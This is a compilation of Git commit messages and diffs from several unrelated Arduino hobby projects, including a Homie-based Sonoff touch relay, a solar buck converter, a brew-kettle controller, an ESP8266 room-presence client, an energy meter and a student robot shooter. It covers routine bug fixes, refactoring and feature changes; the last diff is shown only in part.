If enabled, immediately turn on the local relay

--- src/homie-sonoff-touch.ino
+++ src/homie-sonoff-touch.ino
@@ -3,6 +3,9 @@

 #define FW_NAME "homie-sonoff-touch"
 #define FW_VERSION "2.0.3"
+
+// Disable this if you don't want the relay to turn on with any single tap event
+#define IMMEDIATEON

 /* Magic sequence for Autodetectable Binary Upload */
 const char *__FLAGGED_FW_NAME = "\xbf\x84\xe4\x13\x54" FW_NAME "\x93\x44\x6b\xa7\x75";
@@ -73,6 +76,11 @@
     if ( function == 1 ) {
       Serial.println("SINGLE click");
       buttonNode.setProperty("event").setRetained(false).send("SINGLE");
+      #ifdef IMMEDIATEON
+        digitalWrite(PIN_RELAY, HIGH);
+        relayNode.setProperty("relayState").send("ON");
+        Serial.println("Relay is on");
+      #endif
     }

     if ( function == 2 ) {


Bugfixed examples.

Bugfixed examples.

--- examples/BoardTest/BoardTest.ino
+++ examples/BoardTest/BoardTest.ino
@@ -4,13 +4,13 @@

 Scheduler scheduler;
 ParkingShield shield;
-Output output;
+Output output(shield);
 unsigned char counter = 0;

 void setup(void)
 {
     Serial.begin(9600);
-    scheduler.addTask(output, 1000);
+    scheduler.addTask(&output, 1000);
     shield.playMarch();
     shield.playMelody();
 }


Clean-up code

Clean-up code

--- fcc-buck/fcc-buck.ino
+++ fcc-buck/fcc-buck.ino
@@ -137,31 +137,25 @@
   else if (power_status.mode == MODE_CONST_CURRENT)  Serial.print("amps   ");
   else if (power_status.mode == MODE_CONST_POWER)    Serial.print("watt   ");
   else if (power_status.mode == MODE_CONST_DUTY)     Serial.print("duty   ");
-  Serial.print("  ");
-
-  Serial.print("target = ");
+
+  Serial.print("  target = ");
   print_int100_dec2(power_status.target);
-
-  Serial.print("pwm = ");
+
+  Serial.print("  pwm = ");
   print_int100_dec2((long)power_status.pwm_duty * 10000 / (PWM_FULL - 1));
-  Serial.print("  ");
-
-  Serial.print("s_amps = ");
+
+  Serial.print("  s_amps = ");
   print_int100_dec2(power_status.sol_amps);
-  Serial.print("  ");
-
-  Serial.print("s_volts = ");
+
+  Serial.print("  s_volts = ");
   print_int100_dec2(power_status.sol_volts);
-  Serial.print("  ");
-
-  Serial.print("s_watts = ");
+
+  Serial.print("  s_watts = ");
   print_int100_dec2(power_status.sol_watts);
-  Serial.print("  ");
-
-  Serial.print("b_volts = ");
+
+  Serial.print("  b_volts = ");
   print_int100_dec2(power_status.bat_volts);
-  Serial.print("  ");
-
+
   Serial.print("\n\r");
 }

@@ -216,9 +210,9 @@
 //------------------------------------------------------------------------------------------------------
 void read_data(void) {

-  lpf_in_volts.AddData(  analogRead(ADC_SOL_VOLTS_CHAN) );
+  lpf_in_volts.AddData ( analogRead(ADC_SOL_VOLTS_CHAN) );
   lpf_out_volts.AddData( analogRead(ADC_BAT_VOLTS_CHAN) );
-  lpf_in_amps.AddData(   analogRead(ADC_SOL_AMPS_CHAN) );
+  lpf_in_amps.AddData  ( analogRead(ADC_SOL_AMPS_CHAN) );

   power_status.sol_amps =  SOL_AMPS_SCALE * lpf_in_amps.GetAverage();
   power_status.sol_volts = SOL_VOLTS_SCALE * lpf_in_volts.GetAverage();
@@ -602,33 +596,5 @@
   if (Serial.available() >= 4) {
     get_serial_command();              // read commands from serial
   }
-
-  /*
-  // update power info
-  static int current_target = 0;
-  static unsigned int prev_seconds = 0;        // seconds value from previous pass
-  if ((seconds - prev_seconds) > 4) {
-    prev_seconds = seconds;		// do this stuff once a second
-
-    if (current_target >= 400) {
-      current_target = 0;
-    }
-    else {
-      current_target = 400;
-    }
-
-    state_switch(MODE_CONST_POWER, current_target);
-    //state_switch(MODE_CONST_VOLT, current_target);
-  }*/
-
-/*
-  // diagnosistic prints
-  static int print_counter = 0;
-  print_counter++;
-  if (print_counter > 50) {
-    print_data_json();
-    print_counter = 0;
-  }
-*/
-}
-//------------------------------------------------------------------------------------------------------
+}
+//------------------------------------------------------------------------------------------------------


Add addressing scheme

Add addressing scheme

--- ArduinoSensorBoard/ArduinoSensorBoard.ino
+++ ArduinoSensorBoard/ArduinoSensorBoard.ino
@@ -34,7 +34,8 @@
 {
   byte command[32] ;
   byte *ptr = &command[0];
-  if ( radio.available() )
+  uint8_t pipenum = 0;
+  if ( radio.available(&pipenum))
     {

       bool done = false;
@@ -43,7 +44,9 @@
         done = radio.read( ptr, sizeof(byte[32]) );
         delay(20);
       }
-      runCommand(ptr);
+      if (pipenum==1){
+          runCommand(ptr);
+      }
       Serial.println(ptr[12]);

       radio.stopListening();


[avr] Fix Stewart's blog link. Sorry!

[avr] Fix Stewart's blog link. Sorry!

--- arduino/Powermon433/Powermon433.ino
+++ arduino/Powermon433/Powermon433.ino
@@ -7,7 +7,7 @@

   Original OOK interrupt and decoder based on jeelib "ookRelay2" project https://github.com/jcw/jeelib
   Protocol decoding by "redgreen" https://github.com/merbanan/rtl_433
-    via Stewart Russell's blog http://scrus.org/
+    via Stewart Russell's blog http://scruss.com/
   Additional work and porting to ATmega by Bryan Mayland
 */
 #include <util/atomic.h>


Added way to parse messages using << and defined statements

Somehow things keep crashing if i put serial inside the if statement...

--- arduino/brew_kettle/brew_kettle.ino
+++ arduino/brew_kettle/brew_kettle.ino
@@ -37,6 +37,9 @@
   kSEND_CMDS_END, // Mustnt delete this line
 };

+#define STATMSG "1,"
+#define ENDMSG ";\r\n"
+
 // Commands we send from the PC and want to recieve on the Arduino.
 // They start at the address kSEND_CMDS_END
 messengerCallbackFunction messengerCallbacks[] =
@@ -72,13 +75,7 @@
     cmdMessenger.copyString(buf, 350);
     // Its of the form int, where int is percent
     // duty cycle
-    dutyCycle = dutyCycle = atoi(buf);
-    Serial.print(dutyCycle);
-    // Check bounds
-    if (dutyCycle > 100)
-      dutyCycle = 100;
-    if (dutyCycle < 0)
-      dutyCycle = 0;
+    setDutyCycle(atoi(buf));
   }
 }

@@ -117,6 +114,19 @@
 unsigned long windowStartTime;
 boolean inDutyCycleMode;
 boolean heaterIsOn;
+
+void setDutyCycle(int value) {
+  // Check bounds
+  if (value > 100) {
+    value = 100;
+  }
+  if (value < 0) {
+    value = 0;
+  }
+  dutyCycle = value;
+  Serial << STATMSG << "Set duty cycle to " << dutyCycle << ENDMSG;
+}
+

 void heaterOn() {
   digitalWrite(heaterPin, HIGH);


Changing server

Changing server

--- arduino/src/salalivre/salalivre.ino
+++ arduino/src/salalivre/salalivre.ino
@@ -11,8 +11,9 @@
 String SSID = "";
 String PASS = "";

-int SERVER_PORT = 5000;
-String SERVER_ADDRESS = "192.168.23.104";
+int SERVER_PORT = 80;
+String SERVER_ADDRESS = "10.70.3.81";
+String SERVER_HOSTNAME = "salalivre.cloud.globoi.com";
 String healthcheckAction = "GET /healthcheck/" + ID;
 String eventAction = "POST /room/" + ID + "/event";

@@ -25,6 +26,7 @@
 Task wifiTask(30000, sendStatus);
 Task sensorTask(1200, detectPresence);
 Task blinkTask(500, pblink);
+

 void setup() {
     pinMode(sensor, INPUT);
@@ -71,15 +73,20 @@

 void healthcheck() {
-    request(SERVER_ADDRESS, SERVER_PORT, healthcheckAction);
+    request(SERVER_ADDRESS, SERVER_PORT, healthcheckAction, SERVER_HOSTNAME);
 }

 void registerEvent() {
-    request(SERVER_ADDRESS, SERVER_PORT, eventAction);
+    request(SERVER_ADDRESS, SERVER_PORT, eventAction, SERVER_HOSTNAME);
 }

-void request(String host, int port, String action) {
+void request(String host, int port, String action, String hostName) {
+
+    if (!hostName) {
+      hostName = host;
+    }
+
     wifi.println("AT+CIPSTART=\"TCP\",\"" + host + "\"," + port);
     delay(2000);
     if (wifi.find("Error")) {
@@ -88,7 +95,7 @@
     }

     Serial.print("Requesting " + action + "... ");
-    action = action + " HTTP/1.0\r\n\r\n";
+    action = action + " HTTP/1.0\r\nHost: " + hostName + "\r\n\r\n";
     wifi.print("AT+CIPSEND=");
     delay(100);
     wifi.println(action.length());
@@ -97,24 +104,30 @@
     delay(1000);
     wifi.println("AT+CIPCLOSE");
     Serial.println("ok");
+
     wifi.flush();
 }

-boolean connectWiFi() {
+boolean connectWiFi() {
     Serial.print("Connecting... ");
     wifi.begin(9600);

     wifi.println("AT");
-    delay(500);
     if (!wifi.find("OK")) {
         Serial.println("error connecting module");
         return false;
+    }
+
+    wifi.println("AT+CIPSTATUS");
+    if (wifi.find("STATUS:3") || wifi.find("STATUS:5")) {
+        Serial.println("already connected");
+        return true;
     }

     wifi.println("AT+RST");
     wifi.println("AT+CWMODE=1");
     delay(1000); //delay after mode change
-    wifi.println("AT+CWJAP_CUR=\"" + SSID + "\",\"" + PASS + "\"");
+    wifi.println("AT+CWJAP=\"" + SSID + "\",\"" + PASS + "\"");
     delay(1000);
     if (!wifi.find("OK")) {
         Serial.println("error connecting AP");


Don't send out retained initmode messages

--- src/homie-sonoff-touch.ino
+++ src/homie-sonoff-touch.ino
@@ -4,7 +4,7 @@

 #define FW_NAME "homie-sonoff-touch"
 // Version number, with letter suffix for any library changes
-#define FW_VERSION "2.0.9c"
+#define FW_VERSION "2.0.10a"

 // Disable this if you don't want the relay to turn on with any single tap event

@@ -90,10 +90,10 @@
   int oldValue = EEpromData.initialState;
   if (value.toInt() == 1 or value=="ON")
   {
-    relayNode.setProperty("relayInitMode").send("1");
+    relayNode.setProperty("relayInitMode").setRetained(false).send("1");
     EEpromData.initialState=1;
   } else {
-    relayNode.setProperty("relayInitMode").send( "0");
+    relayNode.setProperty("relayInitMode").setRetained(false).send( "0");
     EEpromData.initialState=0;
   }
   if (oldValue!=EEpromData.initialState)
@@ -109,10 +109,10 @@
   HomieRange emptyRange;
   if (EEpromData.initialState) {
     RelayHandler(emptyRange, "ON");
-    relayNode.setProperty("relayInitMode").send("1");
+    relayNode.setProperty("relayInitMode").setRetained(false).send("1");
   } else {
     RelayHandler(emptyRange, "OFF");
-    relayNode.setProperty("relayInitMode").send("0");
+    relayNode.setProperty("relayInitMode").setRetained(false).send("0");
   }
   String outMsg = String(EEpromData.keepAliveTimeOut);
   keepAliveNode.setProperty("timeOut").send(outMsg);
@@ -304,7 +304,9 @@
       }
       // Read the new state, and use it to set the initial startup state
       String PIN_STATE = String(digitalRead(PIN_RELAY));
-      relayNode.setProperty("relayInitMode").send(PIN_STATE);
+      // The retained initmode state really needs to be set by the HA system
+      // Determine if the local bulb is on or off, and set the desired InitMode of the switch
+      //relayNode.setProperty("relayInitMode").setRetained(false).send(PIN_STATE);
       Serial.println("SINGLE click");
     }


Using interrupt seemed to cause Homie to hang. Using standard polling and debouncing now

--- src/homie-sonoff-touch.ino
+++ src/homie-sonoff-touch.ino
@@ -3,7 +3,7 @@
 #include <Homie.h>

 #define FW_NAME "homie-sonoff-touch"
-#define FW_VERSION "0.0.5alpha"
+#define FW_VERSION "0.0.5"

 /* Magic sequence for Autodetectable Binary Upload */
 const char *__FLAGGED_FW_NAME = "\xbf\x84\xe4\x13\x54" FW_NAME "\x93\x44\x6b\xa7\x75";
@@ -19,7 +19,11 @@
 const int PIN_LED = 13;
 const int PIN_BUTTON = 0;

+Bounce debouncer = Bounce(); // Bounce is built into Homie, so you can use it without including it first
+int lastbuttonState = -1;
+
 HomieNode relayNode("relay", "relay");
+HomieNode buttonNode("button", "button");

 bool RelayHandler(String value) {
   if (value == "ON") {
@@ -38,17 +42,29 @@
   return true;
 }

+void loopHandler() {
+  int buttonState = debouncer.read();

-void loopHandler() {
-  //digitalWrite(PIN_RELAY, HIGH);
+  if (buttonState != lastbuttonState) {
+     Serial.print("Button is now: ");
+     Serial.println(buttonState ? "open" : "close");
+
+     if (Homie.setNodeProperty(buttonNode, "open", buttonState ? "true" : "false", true)) {
+       lastbuttonState = buttonState;
+     } else {
+       Serial.println("Sending failed");
+     }
+  }
 }

 void setup() {
   pinMode(PIN_RELAY, OUTPUT);
   digitalWrite(PIN_RELAY, LOW);

-  Serial.println("Enabling touch switch interrupt");
-  //attachInterrupt(digitalPinToInterrupt(PIN_BUTTON), buttonChangeCallback, CHANGE);
+  pinMode(PIN_BUTTON, INPUT);
+  digitalWrite(PIN_BUTTON, HIGH);
+  debouncer.attach(PIN_BUTTON);
+  debouncer.interval(50);

   Homie.setFirmware(FW_NAME, FW_VERSION);
   Homie.setLedPin(PIN_LED, HIGH); // Status LED
@@ -56,9 +72,11 @@
   Homie.setLoopFunction(loopHandler);
   relayNode.subscribe("relayState", RelayHandler);
   Homie.registerNode(relayNode);
+  Homie.registerNode(buttonNode);
   Homie.setup();
 }

 void loop() {
   Homie.loop();
+  debouncer.update();
 }


Only setting flag as volatile

Only setting flag as volatile

--- arduino/arduino.ino
+++ arduino/arduino.ino
@@ -108,20 +108,20 @@
 const unsigned int
   storageSize = 60 / TIMEFRAME * STORAGE_MINUTES;

-// Gets incremented by the interrupt method gotSignal
-volatile byte signals = 0;
-volatile unsigned int lastWatts = 0;
-volatile unsigned long lastSignal = 0;
+volatile bool gotSignal = false;

 byte
+  signals = 0,
   storage[storageSize],
   lastDay = 0xFF,
   lastHour = 0xFF;

 unsigned long
-  storageRuntime = 0;
+  storageRuntime = 0,
+  lastSignal = 0;

 unsigned int
+  currentWatts = 0,
   storagePointer = 0,
   storageHour[24],
   storageDay[31];
@@ -131,7 +131,7 @@
   Serial.println(F("*** StromBewusst - Arduino FW ***"));

   // Attach an interrupt
-  attachInterrupt(TRIGGER_INT, gotSignal, RISING);
+  attachInterrupt(TRIGGER_INT, handleSignal, RISING);

   #ifdef USE_NETWORK
     pinMode(4, OUTPUT);     // SD select pin
@@ -165,6 +165,12 @@

 void loop()
 {
+  if (gotSignal)
+  {
+    processSignal();
+    gotSignal = false;
+  }
+
   // Check if time moved on to a new frame
   pointerLoop();

@@ -293,15 +299,19 @@
 }
 #endif

-// Simple as it is: increment on each interrupt (rising low -> high on signal pin)
-void gotSignal()
+// Set the volatile flag to handle the signal in the next loop run
+void handleSignal()
+{
+  gotSignal = true;
+}
+
+void processSignal()
 {
   unsigned long now = millis();
-  lastWatts = 4500000 / (now-lastSignal);
+  currentWatts = 4500000 / (now-lastSignal);
   lastSignal = now;
   signals++;
 }
-

 void pointerLoop()
 {
@@ -345,24 +355,27 @@

 void pointerChanged()
 {
+  Serial.println(F("[loop] *** Time frame changed ***"));
+
+  Serial.print(F("[data] Last minute: "));
+  Serial.print(storageSum(1)*1.25);
+  Serial.println(F(" Wh"));
+
+  Serial.print(F("[data] Last 2 minutes:"));
+  Serial.print(storageSum(2)*1.25);
+  Serial.println(F(" Wh"));
+
+  Serial.print(F("[data] Last 5 minutes: "));
+  Serial.print(storageSum(5)*1.25);
+  Serial.println(F(" Wh"));
+
+  Serial.print(F("[data] Currently connected: "));
+  Serial.print(currentWatts);
+  Serial.println(F(" Watt"));
+
   #ifdef USE_NETWORK
     push();
   #endif
-
-  Serial.println(F("[loop] *** Time frame changed ***"));
-
-  Serial.print(F("[data] Last 30 seconds: "));
-  Serial.println(storageSum(1));
-
-  Serial.print(F("[data] Last 60 seconds: "));
-  Serial.println(storageSum(2));
-
-  Serial.print(F("[data] Last 5 minutes: "));
-  Serial.println(storageSum(20));
-
-  Serial.print(F("[data] Currently connected: "));
-  Serial.print(lastWatts);
-  Serial.println(F(" Watt"));
 }

 void push()
@@ -380,7 +393,7 @@
 {
   IPAddress ip XS1_IP;
   char url[100];
-  sprintf(url, "%s%u", XS1_URL, lastWatts);
+  sprintf(url, "%s%u", XS1_URL, currentWatts);

   if (networkRequestIP(ip, url))
   {


Backspace

Backspace


maybe last?

maybe last?

--- little-switches/arduino/galoppo/galoppo.ino
+++ little-switches/arduino/galoppo/galoppo.ino
@@ -122,7 +122,7 @@
       as = millis();
       bas = false;
     }
-    if ((millis() - ii) > (pausaAppoggio+pausaAllungo+pausaAppoggio*v)) && bad) {
+    if (((millis() - ii) > (pausaAppoggio+pausaAllungo+pausaAppoggio*v)) && bad) {
       digitalWrite(zampaAD,HIGH);
       ad = millis();
       bad = false;


Changed motor levels to a constant array

I actually replaced all the text, thinking github wouldn't notice.  I'm
learning!

--- embedded/Crossfire_Program/Crossfire_Program.ino
+++ embedded/Crossfire_Program/Crossfire_Program.ino
@@ -1,360 +1,352 @@
-//ENGR 421 Team 4
-//2013
+//ENGR 421 Team 4
+//2013
+
+//Written by Dean Reading
+
+
+
+/*******************************************************************************************/
+// Changelog
+/*******************************************************************************************
+ * Version control can now be handled by GitHub...
+ *
+ * Version 0.2
+ * Included a timeout when waiting for a character.
+ * Added the sendMessage function to communicate with laptop.
+ * Added in error messages for invalid command IDs, shooter numbers and angles.
+ * Added in lower and upper limits to the angles that can be used.
+ *
+ *
+ * Version 0.1
+ * Includes command receiving and execution, with 'Aim' and 'Shoot' commands.
+ * <angle> input is a byte that should range from 0 to 180, with 90 being pointing forward.
+ * All DC motor pins are set up and PWM is created.
+ * setShooterAngle, releaseBall and checkSolenoids functions are included.
+ * 'GO' & 0x80 is sent to indicate game start.
+ *
+ *
+ */
+
+/*
+▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
+ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
+ // Pre-Start
+ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
+ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
+ */
+
+
+// Pins
+/*******************************************************************************************/
+#define pinMotor1 5
+#define pinMotor2 2
+#define pinMotor3 3
+
+#define pinServo1 46
+#define pinServo2 45
+#define pinServo3 44
+
+#define pinSolenoid1 4
+#define pinSolenoid2 6
+#define pinSolenoid3 7
+
+
+// Parameters
+/*******************************************************************************************/
+#define DEBUG //Defining DEBUG turns ON debugging messages
+
+#define commsTimeout 200 //The maximum time that a received serial command can take, in mS
+
+#define ballReleaseTime 500 //The time that the solenoid needs to be activated for to release a ball, in mS
+
+#define angleLowest 30 //The minimum allowable angle
+#define angleHighest 150 //The maximum allowable angle
+
+// Libraries & Objects
+/*******************************************************************************************/
+#include <Servo.h>
+Servo servo1; //Declare 3 instances of servo objects
+Servo servo2;
+Servo servo3;
+
+//Function Prototypes
+void sendMessage (byte CMD,byte in1 = 255, byte in2 = 255, byte in3 = 255);
+
+// Constants
+/*******************************************************************************************/
+byte commandLength[255]; //The number of data bytes for each command type for serial comms
+const byte solenoidPins[] = {
+  0,pinSolenoid1,pinSolenoid2,pinSolenoid3}; //A map for the solenoid pins
+const byte motorPins[] = {
+  0,pinMotor1,pinMotor2,pinMotor3}; //A map for the solenoid pins
+const byte motorLevel[] = {
+  0,255,255,255}; //Individual PWM signal levels for each motor
+
+
+// Global Variables
+/*******************************************************************************************/
+byte commandID=0;
+byte bytesRemaining; //
+char buffer[5];
+unsigned long timer; //A multi-purpose timer
+
+unsigned long ballReleaseTimer[4]; //Saves when the last ball was released.
+boolean ballReleasing[] = {
+  0,0,0,0}; //Indicates whether we are in the process of releasing a ball
+
+/*
+▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
+ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
+ // Setup
+ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
+ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
+ */
+void setup(){
+  // Constants
+  /*******************************************************************************************/
+  commandLength[1]=2;
+  commandLength[2]=1;
+
+  commandLength[0x80]=0;
+  commandLength[0xE0]=1;
+  commandLength[0xE1]=1;
+  commandLength[0xE2]=2;
+
+  // Pin Modes and Setup
+  /*******************************************************************************************/
+  for (byte i=1;i<4;i++){
+    pinMode(motorPins[i],OUTPUT);
+    pinMode(solenoidPins[i],OUTPUT);
+
+    analogWrite(motorPins[i],motorLevel[i]);
+    digitalWrite(solenoidPins[i],LOW);
+  }
+
+
+
+  // Other Setup Code
+  /*******************************************************************************************/
+  Serial.begin(9600);
+  Serial.setTimeout(commsTimeout);
+#ifdef DEBUG
+  Serial.println("Arduino Start");
+#endif
+
+
+  //Attach the servo objects
+  servo1.attach(pinServo1,900,2100); //Include the maximum and minimum pulse widths.
+  servo2.attach(pinServo2,900,2100);
+  servo3.attach(pinServo3,900,2100);
+
+
+  //Wait until 'Game Start' button is pressed
+
+  //add here later
+  //Send 'Game Start' message to laptop
+  sendMessage(0x80);
+
+
+  //Set up the PWM DC motor control signals
+  analogWrite(pinMotor1,motorLevel1);
+  analogWrite(pinMotor2,motorLevel2);
+  analogWrite(pinMotor3,motorLevel3);
+
+
+  //Prototyping stuff DELETE ME!  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+  //analogWrite(pinMotor1,0);
+
+      releaseBall(1);
+
+  //  while (true) { //Cycle endlessly
+  //    setShooterAngle(1,90);
+  //    delay(1000);
+  //    setShooterAngle(1,45);
+  //    delay(1000);
+  //    setShooterAngle(1,135);
+  //    delay(1000);
+  //  }
+
+}
+
+
+/*
+▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
+ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
+ // Loop
+ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
+ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
+ */
+void loop(){
+  checkSerial(); //Check for incoming commands, and execute them
+
+  checkSolenoids(); //Deactivates any solenoids when needed
+
+}
+
+
+/*▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
+/*checkSerial
+/*******************************************************************************************/
+void checkSerial(){
+  if (Serial.available()) {
+    //Search for the initization sequence
+    if (Serial.read()=='G'){
+      timer=millis()+commsTimeout;
+      while (!Serial.available()){ //Wait until another character is available
+        if (millis()>timer) { //Exit the loop if we don't receive another character
+          break;
+        }
+      }
+      if (Serial.peek()=='O'){
+        Serial.read(); //Remove the 'O' from the serial buffer.
+        //Initialization Sequence detected!
+
+#ifdef DEBUG
+        Serial.println("'G O' found!");
+#endif
+
+        timer=millis()+commsTimeout;
+        while (!Serial.available()){ //Wait until another character is available
+          if (millis()>timer) { //Exit the loop if we don't receive another character
+            break;
+          }
+        }
+        commandID=Serial.read(); //This byte is the command ID
+
+        //Now, read the required number of data bytes into the array 'buffer'
+        Serial.readBytes(buffer,commandLength[commandID]);
+
+        //Execute the command
+        executeCommand();
+      }
+    }
+  }
+}
+
+
+/*▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
+/*executeCommand
+/*******************************************************************************************/
+//This function executes whatever the necessary action is, as told by the command and data
+//received through serial comms
+void executeCommand(){
+  switch (commandID){
+  case 1:
+    //Aim shooter <db1> to angle defined by <db2>
+    setShooterAngle(buffer[0],(byte) buffer[1]);
+    break;
+  case 2:
+    //Release a ball on shooter <db1>
+    releaseBall(buffer[0]);
+    break;
+  default:
+#ifdef DEBUG
+    Serial.print("Unrecognized command ID: ");
+    Serial.println(commandID);
+#endif
+    //Send error feedback to laptop
+    sendMessage(0xE0,commandID);
+  }
+}
+
+/*▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
+/*setShooterAngle
+/*******************************************************************************************/
+//This function changes the servo signal for shooter <shooterNum> to the angle defined by
+// <angle>.  <angle> is a byte that ranges from 180, which maps from 900 to 2100 mS.
+void setShooterAngle(byte shooterNum, byte angle){
+
+  //  unsigned int output =   (((unsigned int) angle-1)*137)/29+900; // 137/29 = 4.724 = 1200/254, the scaling factor to get to uS
+
+#ifdef DEBUG
+  Serial.print("Setting shooter ");
+  Serial.print(shooterNum);
+  Serial.print(" to ");
+  Serial.println(angle);
+#endif
+
+  //Set the servo output.  Use a switch statement to use the correct servo object.
+  if (angle<angleLowest || angle>angleHighest) {
+    //The angle is invalid! Don't move the shooter, and send feedback
+    sendMessage(0xE2,shooterNum,angle);
+  }
+  else{
+    switch (shooterNum) {
+    case 1:
+      servo1.write(angle);
+      break;
+    case 2:
+      servo2.write(angle);
+      break;
+    case 3:
+      servo1.write(angle);
+      break;
+    default:
+#ifdef DEBUG
+      Serial.print("Unrecognized shooter Num: ");
+      Serial.println(shooterNum);
+#endif
+      //Send error feedback to laptop
+      sendMessage(0xE1,shooterNum);
+    }
+  }
+}
+
+/*▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
+/*releaseBall
+/*******************************************************************************************/
+//This function releases one BB (hopefully) from shooter <shooterNum>
+void releaseBall(byte shooterNum) {
+
+#ifdef DEBUG
+  Serial.print("Releasing ball from shooter: ");
+  Serial.println(shooterNum);
+#endif
+
+  digitalWrite(solenoidPins[shooterNum],HIGH); //Activate the solenoid: open the passage
+
+  ballReleaseTimer[shooterNum]=millis()+ballReleaseTime; //Set the timer for deactivating the solenoid
+  ballReleasing[shooterNum]=1; //Indicate that we are releasing a ball
+}
+
+/*▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
+/*checkSolenoids
+/*******************************************************************************************/
+//Check whether there are any solenoids that need to be deactivated
+void checkSolenoids(){
+  for (byte i=1;i<4;i++){ //Check all 3 solenoids
+    if (ballReleasing[i]==1){ //If a ball is currently being released
+      if (millis()>ballReleaseTimer[i]){ //If enough time has passed
+        digitalWrite(solenoidPins[i],LOW); //Deactivate the solenoid: close the passage
+        ballReleasing[i]=0; //Indicate that the ball is no longer being released
+#ifdef DEBUG
+        Serial.print("Deactivating solenoid: ");
+        Serial.println(i);
+#endif
+      }
+    }
+  }
+}
+
+
+/*▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
+/*sendMessage
+/*******************************************************************************************/
+//This function sends commands to the laptop.  It has optional inputs.
+void sendMessage (byte CMD,byte in1, byte in2, byte in3) {
+  Serial.print("GO");
+  if (commandLength[CMD]>0){
+    Serial.print(in1);
+    if (commandLength[CMD]>1){
+      Serial.print(in2);
+      if (commandLength[CMD]>2){
+        Serial.print(in3);
+      }
+    }
+  }
+  Serial.println(); //Print a new line character
+}
+
+
+

-//Written by Dean Reading
-
-
-
-/*******************************************************************************************/
-// Changelog
-/*******************************************************************************************
- * Version control can now be handled by GitHub...
- *
- * Version 0.2
- * Included a timeout when waiting for a character.
- * Added the sendMessage function to communicate with laptop.
- * Added in error messages for invalid command IDs, shooter numbers and angles.
- * Added in lower and upper limits to the angles that can be used.
- *
- *
- * Version 0.1
- * Includes command receiving and execution, with 'Aim' and 'Shoot' commands.
- * <angle> input is a byte that should range from 0 to 180, with 90 being pointing forward.
- * All DC motor pins are set up and PWM is created.
- * setShooterAngle, releaseBall and checkSolenoids functions are included.
- * 'GO' & 0x80 is sent to indicate game start.
- *
- *
- */
-
-/*
-▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- // Pre-Start
